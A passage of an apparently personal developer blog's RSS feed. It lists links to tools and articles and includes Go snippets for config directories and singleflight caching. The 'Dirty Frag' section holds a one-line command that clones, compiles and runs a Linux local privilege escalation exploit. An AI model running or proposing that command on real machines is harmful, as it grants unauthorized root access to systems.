&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">config_dir&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">getConfigDir&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">config_dir&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h2 id="whichllm">whichllm&lt;/h2>
&lt;p>&lt;code>uvx whichllm@latest&lt;/code>&lt;/p></description></item><item><title>Articles</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260513-articles/</link><pubDate>Wed, 13 May 2026 11:15:33 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260513-articles/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/itgoyo/TelegramChannels" target="_blank" rel="noopener">TelegramChannels&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/warp-tech/warpgate" target="_blank" rel="noopener">warpgate: is a smart &amp;amp; fully transparent SSH, HTTPS, Kubernetes, MySQL, PostgreSQL bastion host that doesn&amp;rsquo;t require a client app or an SSH wrapper.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://jakub.kr/writing/details-that-make-interfaces-feel-better" target="_blank" rel="noopener">Details that make interfaces feel better: &lt;code>npx skills add jakubkrehel/make-interfaces-feel-better&lt;/code>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/TheStageAI/TheWhisper" target="_blank" rel="noopener">TheWhisper: High-Performance Speech-to-Text&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/nexu-io/open-design" target="_blank" rel="noopener">Open Design: The open-source alternative to Claude Design. Local-first, web-deployable, BYOK at every layer — 16 coding-agent CLIs auto-detected on your PATH (Claude Code, Codex, Devin for Terminal, Cursor Agent, Gemini CLI, OpenCode, Qwen, Qoder CLI, GitHub Copilot CLI, Hermes, Kimi, Pi, Kiro, Kilo, Mistral Vibe, DeepSeek TUI) become the design engine, driven by 31 composable Skills and 72 brand-grade Design Systems. No CLI? An OpenAI-compatible BYOK proxy is the same loop minus the spawn.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/ultraworkers/claw-code" target="_blank" rel="noopener">Claw Code is the public Rust implementation of the claw CLI agent harness. The canonical implementation lives in rust/, and the current source of truth for this repository is ultraworkers/claw-code.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/LING71671/Open-ClaudeCode" target="_blank" rel="noopener">Open-ClaudeCode: 完整开源的 Claude Code 项目 - 基于 Anthropic 官方源码重建&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/claude-code-best/claude-code" target="_blank" rel="noopener">Claude Code Best V5 (CCB): 牢 A (Anthropic) 官方 Claude Code CLI 工具的源码反编译/逆向还原项目。目标是将 Claude Code 大部分功能及工程化能力复现 (问就是老佛爷已经付过钱了)。虽然很难绷, 但是它叫做 CCB(踩踩背)&amp;hellip; 而且, 我们实现了企业版或者需要登陆 Claude 账号才能使用的特性, 实现技术普惠&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/aattaran/deepclaude" target="_blank" rel="noopener">deepclaude: Use Claude Code&amp;rsquo;s autonomous agent loop with DeepSeek V4 Pro, OpenRouter, or any Anthropic-compatible backend. Same UX, 17x cheaper.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/pyinfra-dev/pyinfra" target="_blank" rel="noopener">pyinfra turns Python code into shell commands and runs them on your servers. Execute ad-hoc commands and write declarative operations. Target SSH servers, local machine and Docker containers. Fast and scales from one server to thousands. Think ansible but Python instead of YAML, and a lot faster.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/jdx/mise" target="_blank" rel="noopener">mise: Dev tools, env vars, and tasks in one CLI&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/endevco/aube" target="_blank" rel="noopener">Aube installs automatically when you run a script. The tightest security defaults of any Node.js package manager - and the only one with a lifecycle-script jail. Drops into existing projects using existing lockfiles.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/V4bel/dirtyfrag" target="_blank" rel="noopener">Dirty Frag: Universal Linux LPE&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://sinceyouarrived.world/taken" target="_blank" rel="noopener">taken. You opened this page. It already knows the following.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://internetarchive.ch/" target="_blank" rel="noopener">internetarchive.ch&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.kronis.dev/blog/apple-is-increasing-my-cortisol-levels" target="_blank" rel="noopener">Apple is increasing my cortisol levels&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/dwarvesf/hidden" target="_blank" rel="noopener">Hidden Bar lets you hide menu bar items to give your Mac a cleaner look.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/stonerl/Thaw" target="_blank" rel="noopener">Thaw is a powerful menu bar management tool for macOS 26. While its primary function is hiding and showing menu bar items, it aims to cover a wide variety of additional features to make it one of the most versatile menu bar tools available.&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="dirty-frag">Dirty Frag&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>git clone https://github.com/V4bel/dirtyfrag.git &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> cd dirtyfrag &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> gcc -O0 -Wall -o exp exp.c -lutil &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> ./exp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Articles</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260430-articles/</link><pubDate>Thu, 30 Apr 2026 11:46:57 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260430-articles/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/garrytan/gstack" target="_blank" rel="noopener">gstack: Use Garry Tan&amp;rsquo;s exact Claude Code setup: 23 opinionated tools that serve as CEO, Designer, Eng Manager, Release Manager, Doc Engineer, and QA&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/tw93/waza" target="_blank" rel="noopener">Waza: Engineering habits you already know, turned into skills Claude can run.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/docmd-io/docmd" target="_blank" rel="noopener">docmd: Build production-ready documentation from Markdown in seconds.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/hexiecs/talk-normal" target="_blank" rel="noopener">talk-normal: Make any LLM talk like a normal person. A system prompt that removes AI slop.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.iqiipi.com/the-quiet-colossus.html" target="_blank" rel="noopener">The Quiet Colossus&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/smol-machines/smolvm" target="_blank" rel="noopener">smolvm: Tool to build &amp;amp; run portable, lightweight, self-contained virtual machines.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.calif.io/p/mad-bugs-even-cat-readmetxt-is-not" target="_blank" rel="noopener">MAD Bugs: &amp;ldquo;cat readme.txt&amp;rdquo; is not safe in iTerm2&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://aistupidlevel.info/" target="_blank" rel="noopener">https://aistupidlevel.info/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://markdown.new/" target="_blank" rel="noopener">https://markdown.new/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/JuliusBrussee/caveman" target="_blank" rel="noopener">caveman: Claude Code skill that cuts 65% of tokens by talking like caveman&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/shivampkumar/trellis-mac" target="_blank" rel="noopener">trellis-mac: This is a port of Microsoft&amp;rsquo;s TRELLIS.2 — a state-of-the-art image-to-3D model — from CUDA-only to Apple Silicon via PyTorch MPS. No NVIDIA GPU required.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://opensource.posit.co/blog/2026-04-20_ggsql_alpha_release/" target="_blank" rel="noopener">ggsql: A grammar of graphics for SQL&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://lawsofsoftwareengineering.com/" target="_blank" rel="noopener">https://lawsofsoftwareengineering.com/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://vidstudio.app/video-editor" target="_blank" rel="noopener">VidStudio: a browser based video editor that doesn&amp;rsquo;t upload your files&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/calcom/cal.diy" target="_blank" rel="noopener">cal.diy: Scheduling infrastructure for absolutely everyone.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/microsoft/RustTraining" target="_blank" rel="noopener">RustTraining&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/duncaen/opendoas" target="_blank" rel="noopener">opendoas: A portable fork of the OpenBSD &lt;code>doas&lt;/code> command, is a minimal replacement for the venerable &lt;code>sudo&lt;/code>.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/codeforreal1/compressO" target="_blank" rel="noopener">compressO: Convert any video/image into a tiny size. 100% free &amp;amp; open-source. Available for Mac, Windows &amp;amp; Linux.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/tw93/kami" target="_blank" rel="noopener">kami: Part of a trilogy: Kaku (書く) writes code, Waza (技) drills habits, Kami (紙) delivers documents.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/bergside/design-md-chrome" target="_blank" rel="noopener">design-md-chrome: Chrome extension to extract styles from any website and generate DESIGN.md files and design skills for AI based on TypeUI&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.a-nan53.tw/product/enter-adult-baseball-cowhide-glove/" target="_blank" rel="noopener">佐enter 成人碎牛皮手套&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/localsend/localsend" target="_blank" rel="noopener">localsend: An open-source cross-platform alternative to AirDrop&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gtfobins.org" target="_blank" rel="noopener">GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/warpdotdev/warp" target="_blank" rel="noopener">Warp is an agentic development environment, born out of the terminal.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/corbindavenport/just-the-browser" target="_blank" rel="noopener">Just the Browser: Remove AI features, telemetry data reporting, sponsored content, product integrations, and other annoyances from web browsers.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://copy.fail/" target="_blank" rel="noopener">Copy Fail: CVE-2026-31431&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="mad-bugs-cat-readmetxt-is-not-safe-in-iterm2">MAD Bugs: &amp;ldquo;cat readme.txt&amp;rdquo; is not safe in iTerm2&lt;/h2>
&lt;h3 id="the-core-bug">The core bug&lt;/h3>
&lt;p>The bug is a trust failure. iTerm2 accepts the SSH conductor protocol from terminal output that is not actually coming from a trusted, real conductor session. In other words, untrusted terminal output can impersonate the remote conductor.&lt;/p></description></item><item><title>Articles</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260415-articles/</link><pubDate>Wed, 15 Apr 2026 09:22:42 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260415-articles/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ganhua.wang/singleflight" target="_blank" rel="noopener">SingleFlight&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://catcoding.me/p/apple-gatekeeper-scan/" target="_blank" rel="noopener">macOS 奇怪的安全扫码机制&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/xindoo/agentic-design-patterns" target="_blank" rel="noopener">Agentic Design Patterns&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://tw93.fun/2026-03-12/claude.html" target="_blank" rel="noopener">你不知道的 Claude Code：架构、治理与工程实践&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://tw93.fun/2026-03-21/agent.html" target="_blank" rel="noopener">你不知道的 Agent：原理、架构与工程实践&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/rtk-ai/rtk" target="_blank" rel="noopener">rtk: CLI proxy that reduces LLM token consumption by 60-90% on common dev commands. Single Rust binary, zero dependencies&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/Wilfred/difftastic" target="_blank" rel="noopener">difftastic: a structural diff that understands syntax&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.anisafifi.com/en/blog/i-ditched-elasticsearch-for-meilisearch-heres-what-nobody-tells-you/" target="_blank" rel="noopener">I Ditched Elasticsearch for Meilisearch. Here&amp;rsquo;s What Nobody Tells You.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://taiwan.md/" target="_blank" rel="noopener">策展島嶼的深度敘事&lt;/a>: &lt;a href="https://github.com/frank890417/taiwan-md" target="_blank" rel="noopener">https://github.com/frank890417/taiwan-md&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://colobu.com/2025/11/01/Linux%20%E4%B8%AD%E7%BD%91%E7%BB%9C%E5%8C%85%E7%9A%84%E4%B8%80%E7%94%9F/index/" target="_blank" rel="noopener">Linux 中网络包的一生&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/coderamp-labs/gitingest" target="_blank" rel="noopener">Gitingest: Turn any Git repository into a prompt-friendly text ingest for LLMs.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.ilograph.com/blog/posts/more-common-diagram-mistakes/" target="_blank" rel="noopener">7 More Common Mistakes in Architecture Diagrams&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://claude.com/resources/use-cases" target="_blank" rel="noopener">Use Cases&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/obra/superpowers" target="_blank" rel="noopener">Superpowers&lt;/a>: Superpowers is a complete software development workflow for your coding agents, built on top of a set of composable &amp;ldquo;skills&amp;rdquo; and some initial instructions that make sure your agent uses them.&lt;/li>
&lt;li>&lt;a href="https://github.com/affaan-m/everything-claude-code" target="_blank" rel="noopener">everything-claude-code&lt;/a>: The agent harness performance optimization system. Skills, instincts, memory, security, and research-first development for Claude Code, Codex, Opencode, Cursor and beyond.&lt;/li>
&lt;li>&lt;a href="https://github.com/msitarzewski/agency-agents" target="_blank" rel="noopener">Agency Agents&lt;/a>: A complete AI agency at your fingertips - From frontend wizards to Reddit community ninjas, from whimsy injectors to reality checkers. Each agent is a specialized expert with personality, processes, and proven deliverables.&lt;/li>
&lt;li>&lt;a href="https://github.com/666ghj/MiroFish" target="_blank" rel="noopener">MiroFish: A Simple and Universal Swarm Intelligence Engine, Predicting Anything.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/lightpanda-io/browser" target="_blank" rel="noopener">Lightpanda Browser: the headless browser designed for AI and automation&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.dailydoseofds.com/p/anatomy-of-the-claude-folder" target="_blank" rel="noopener">Anatomy of the .claude/ Folder&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/J-x-Z/cocoa-way" target="_blank" rel="noopener">Cocoa-Way: Native macOS Wayland Compositor written in Rust using Smithay. Experience seamless Linux app streaming on macOS without XQuartz.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/chenglou/pretext" target="_blank" rel="noopener">Pretext: Fast, accurate &amp;amp; comprehensive text measurement &amp;amp; layout&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.mgrunwald.com/ghostmoon/" target="_blank" rel="noopener">Ghostmoon.app: A Swiss Army Knife for your macOS menu bar&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.codingfont.com/" target="_blank" rel="noopener">CodingFont: A game to help you pick a coding font&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://piechowski.io/post/git-commands-before-reading-code/" target="_blank" rel="noopener">The Git Commands I Run Before Reading Any Code&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/memstechtips/Winhance" target="_blank" rel="noopener">Winhance: Application designed to optimize, customize and enhance your Windows experience.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://arhan.sh/blog/native-instant-space-switching-on-macos/" target="_blank" rel="noopener">Native Instant Space Switching on MacOS&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/Fluid-CAD/FluidCAD" target="_blank" rel="noopener">FluidCAD: Write CAD models in JavaScript. See the result in real time.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/VoltAgent/awesome-design-md" target="_blank" rel="noopener">Awesome DESIGN.md: Copy a DESIGN.md into your project, tell your AI agent &amp;ldquo;build me a page that looks like this&amp;rdquo; and get pixel-perfect UI that actually matches.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/safishamsi/graphify" target="_blank" rel="noopener">graphify&lt;/a>: AI coding assistant skill (Claude Code, Codex, OpenCode, Cursor, Gemini CLI, GitHub Copilot CLI, OpenClaw, Factory Droid, Trae, Google Antigravity). Turn any folder of code, docs, papers, images, or videos into a queryable knowledge graph&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="singleflight">SingleFlight&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">analyzer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;context&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sync&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;golang.org/x/sync/singleflight&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;github.com/nathan/stock_bot/internal/storage&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">AnalysisService&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">genai&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">GenAIClient&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">d1Client&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">storage&lt;/span>.&lt;span style="color:#a6e22e">D1Client&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stockCache&lt;/span> &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">StockAnalysisResult&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mu&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">RWMutex&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sf&lt;/span> &lt;span style="color:#a6e22e">singleflight&lt;/span>.&lt;span style="color:#a6e22e">Group&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">AnalysisService&lt;/span>) &lt;span style="color:#a6e22e">analyzeStock&lt;/span>(&lt;span style="color:#a6e22e">ctx&lt;/span> &lt;span style="color:#a6e22e">context&lt;/span>.&lt;span style="color:#a6e22e">Context&lt;/span>, &lt;span style="color:#a6e22e">code&lt;/span>, &lt;span style="color:#a6e22e">name&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>) (&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">StockAnalysisResult&lt;/span>, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 1. 第一層防護：檢查記憶體快取 (L1 Cache)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">mu&lt;/span>.&lt;span style="color:#a6e22e">RLock&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">ok&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">stockCache&lt;/span>[&lt;span style="color:#a6e22e">code&lt;/span>]; &lt;span style="color:#a6e22e">ok&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">mu&lt;/span>.&lt;span style="color:#a6e22e">RUnlock&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">mu&lt;/span>.&lt;span style="color:#a6e22e">RUnlock&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 2. 第二層防護：Singleflight (請求合併)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;stock:&amp;#34;&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">code&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">v&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sf&lt;/span>.&lt;span style="color:#a6e22e">Do&lt;/span>(&lt;span style="color:#a6e22e">key&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>() (&lt;span style="color:#66d9ef">interface&lt;/span>{}, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 3. 執行昂貴的邏輯 (DB + Gemini API)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">doAnalyzeStock&lt;/span>(&lt;span style="color:#a6e22e">ctx&lt;/span>, &lt;span style="color:#a6e22e">code&lt;/span>, &lt;span style="color:#a6e22e">name&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 4. 寫入快取 (務必在 singleflight 內部完成，防止下一波瞬間擊穿)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">mu&lt;/span>.&lt;span style="color:#a6e22e">Lock&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">stockCache&lt;/span>[&lt;span style="color:#a6e22e">code&lt;/span>] = &lt;span style="color:#a6e22e">result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">mu&lt;/span>.&lt;span style="color:#a6e22e">Unlock&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">v&lt;/span>.(&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">StockAnalysisResult&lt;/span>), &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">AnalysisService&lt;/span>) &lt;span style="color:#a6e22e">doAnalyzeStock&lt;/span>(&lt;span style="color:#a6e22e">ctx&lt;/span> &lt;span style="color:#a6e22e">context&lt;/span>.&lt;span style="color:#a6e22e">Context&lt;/span>, &lt;span style="color:#a6e22e">code&lt;/span>, &lt;span style="color:#a6e22e">name&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>) (&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">StockAnalysisResult&lt;/span>, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 建立一個子 Context 用於內部的多個非同步任務&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">g&lt;/span>, &lt;span style="color:#a6e22e">ctx&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">errgroup&lt;/span>.&lt;span style="color:#a6e22e">WithContext&lt;/span>(&lt;span style="color:#a6e22e">ctx&lt;/span>)
